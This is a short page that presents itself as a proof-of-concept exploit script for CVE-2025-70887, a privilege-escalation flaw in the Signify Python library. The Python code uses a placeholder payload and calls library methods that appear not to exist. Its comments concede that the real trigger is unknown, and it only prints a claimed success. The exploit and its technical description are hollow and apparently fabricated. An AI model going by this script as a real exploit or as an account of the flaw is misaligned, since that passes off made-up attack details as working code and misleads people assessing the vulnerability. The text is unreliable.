CVE-2025-70887 ralphje Signify权限提升漏洞

# Conceptual PoC for CVE-2025-70887 # This script demonstrates the logic flow leading to privilege escalation. # Target: ralphje Signify < v0.9.2 import signify def exploit_signify(): # Simulate a low-privilege user context print("[+] Starting exploit in low-privilege context...") # Crafted malicious data intended to trigger the flaw in signed_data.py # The specific byte pattern would depend on the vulnerable parsing logic malicious_payload = b'MALICIOUS_SIGNATURE_DATA' try: # The vulnerability resides in how signed_data.py handles payload # and how context.py manages the privilege escalation signer = signify.Signify() # Normal usage would verify integrity, but the bug bypasses context checks print("[+] Sending payload to signed_data component...") result = signer.process_data(malicious_payload) # Check if privileges were escalated via context.py vulnerability if result.is_privileged: print("[!] Privilege Escalation Successful! Access granted to restricted resources.") return True else: print("[-] Exploit failed, privileges unchanged.") return False except Exception as e: print(f"[-] Error during execution: {e}") return False if __name__ == "__main__": exploit_signify()